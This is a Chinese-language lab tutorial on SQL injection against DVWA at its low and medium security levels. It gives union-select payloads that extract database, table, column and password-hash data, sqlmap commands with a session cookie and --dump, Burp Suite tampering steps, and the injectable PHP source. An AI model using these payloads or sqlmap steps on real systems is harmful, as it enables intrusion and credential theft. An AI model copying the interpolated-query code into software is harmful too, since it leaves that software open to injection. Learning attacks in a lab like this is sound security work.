天天看點

DVWA學習之SQL注入

DVWA學習之SQL注入

環境工具

dvwa 1.9

phpstudy

firefox

burpsuite

實驗步驟

一、設定安全級别為LOW

1. 登入DVWA,并将安全級别設定為LOW

DVWA學習之SQL注入

2. 進入SQL注入子產品,并輸入1,傳回結果如下

DVWA學習之SQL注入

3. 下面判斷注入類型是字元型注入還是整數型注入

字元型注入的SQL語句形如

select * from xx where id=\'$id\'
      

 整數型注入的SQL語句形如

select * from xx where id=$id
      

 (1) 分别輸入 1 and 1=1 和 1 and 1=2,都能傳回正常結果

DVWA學習之SQL注入

說明不是整數型注入,因為如果是整數型注入,執行select * from xx where id=1 and 1=2 時應報錯。

(問:select * from xx where id=\'1 and 1=2\' 這裡應該不傳回結果才對?)

(2) 輸入 1’ or \'1\'=\'1 ,傳回所有結果

DVWA學習之SQL注入

4. 擷取列數

(1) 1\' or \'1\'=\'1\' order by 3 #

DVWA學習之SQL注入

(2)  1\' or \'1\'=\'1\' order by 2 #

DVWA學習之SQL注入

說明表中的資料共兩列

5. 擷取資料庫名

1\' union select  1, database() #
      
DVWA學習之SQL注入

6. 擷取資料庫中的表名

1\' or \'1\'=\'1\' union select 1,table_name from information_schema.tables where table_schema=database() #      
DVWA學習之SQL注入

 擷取guestbook, users 兩張表

7. 擷取users表中的列名

1\' union select 1, group_concat(column_name) from information_schema.columns where table_name=\'users\' #

DVWA學習之SQL注入

8. 擷取users 表中的使用者名密碼

1\' union select user,password from users #      
DVWA學習之SQL注入

用sqlmap 實作SQL注入

1. 嘗試直接用url,發現結果跳轉到登入頁面,是以需要cookie 

2. 帶上cookie參數

python sqlmap.py -u "http://192.168.138.63/DVWA-1.9/vulnerabilities/sqli/?id=1&Submit=Submit#" --cookie="security=low; PHPSESSID=6n3qbqcctf72hdh550hu7lskj1"      
DVWA學習之SQL注入

3.  使用--batch 參數,可以讓sqlmap為我們自動填寫執行選項 

python sqlmap.py -u "http://192.168.138.63/DVWA-1.9/vulnerabilities/sqli/?id=1&Submit=Submit#" --cookie="security=low; PHPSESSID=6n3qbqcctf72hdh550hu7lskj1" --batch
      

4. 使用--dbs 擷取所有的資料庫

python sqlmap.py -u "http://192.168.138.63/DVWA-1.9/vulnerabilities/sqli/?id=1&Submit=Submit#" --cookie="security=low; PHPSESSID=6n3qbqcctf72hdh550hu7lskj1" --dbs      
DVWA學習之SQL注入

5. 使用-D指定資料庫,--tables 檢視資料中的表

python sqlmap.py -u "http://192.168.138.63/DVWA-1.9/vulnerabilities/sqli/?id=1&Submit=Submit#" --cookie="security=low; PHPSESSID=6n3qbqcctf72hdh550hu7lskj1" --D dvwa --tables      
DVWA學習之SQL注入

6. 用-D xxx -T xxx 指定表,--columns檢視表的列

python sqlmap.py -u "http://192.168.138.63/DVWA-1.9/vulnerabilities/sqli/?id=1&Submit=Submit#" --cookie="security=low; PHPSESSID=6n3qbqcctf72hdh550hu7lskj1" --D dvwa -T users --columns      
DVWA學習之SQL注入

7. 用-C xxx --dump 輸出指定列的資料 

python sqlmap.py -u "http://192.168.138.63/DVWA-1.9/vulnerabilities/sqli/?id=1&Submit=Submit#" --cookie="security=low; PHPSESSID=6n3qbqcctf72hdh550hu7lskj1" -D dvwa -T users -C first_name,last_name,password --dump      
DVWA學習之SQL注入

(sqlmap 還可以爆破hash密碼)

附錄

伺服器核心代碼(LOW)

<?php

if( isset( $_REQUEST[ \'Submit\' ] ) ) {
    // Get input
    $id = $_REQUEST[ \'id\' ];

    // Check database
    $query  = "SELECT first_name, last_name FROM users WHERE user_id = \'$id\';";
    $result = mysql_query( $query ) or die( \'<pre>\' . mysql_error() . \'</pre>\' );

    // Get results
    $num = mysql_numrows( $result );
    $i   = 0;
    while( $i < $num ) {
        // Get values
        $first = mysql_result( $result, $i, "first_name" );
        $last  = mysql_result( $result, $i, "last_name" );

        // Feedback for end user
        echo "<pre>ID: {$id}<br />First name: {$first}<br />Surname: {$last}</pre>";

        // Increase loop count
        $i++;
    }

    mysql_close();
}

?> 
      

二、設定安全級别為MEDIUM

1. 設定dvwa的安全級别為medium

2. sql注入界面随便選擇id,傳回正确結果

DVWA學習之SQL注入

此時沒有輸入框,但可以通過burpsuite抓包的形式進行注入

3. 在burpsuite中修改id參數,即可實作注入

DVWA學習之SQL注入

medium 的代碼中添加了對特殊字元的轉義,但由于medium為數字型注入,用不上引号,是以可以用跟字元型注入同樣的方式進行注入

Sqlmap 實作注入

1. 用burpsuite 捕獲正常的資料包,然後右鍵,選擇 "copy to file",儲存為sql_dvwa.txt

DVWA學習之SQL注入

2. 啟動sqlmap進行注入

python sqlmap.py -r sql_dvwa.txt
      

 其他操作同上

附錄

伺服器核心代碼如下(medium)

<?php

if( isset( $_POST[ \'Submit\' ] ) ) {
    // Get input
    $id = $_POST[ \'id\' ];
    $id = mysql_real_escape_string( $id );

    // Check database
    $query  = "SELECT first_name, last_name FROM users WHERE user_id = $id;";
    $result = mysql_query( $query ) or die( \'<pre>\' . mysql_error() . \'</pre>\' );

    // Get results
    $num = mysql_numrows( $result );
    $i   = 0;
    while( $i < $num ) {
        // Display values
        $first = mysql_result( $result, $i, "first_name" );
        $last  = mysql_result( $result, $i, "last_name" );

        // Feedback for end user
        echo "<pre>ID: {$id}<br />First name: {$first}<br />Surname: {$last}</pre>";

        // Increase loop count
        $i++;
    }

    //mysql_close();
}

?>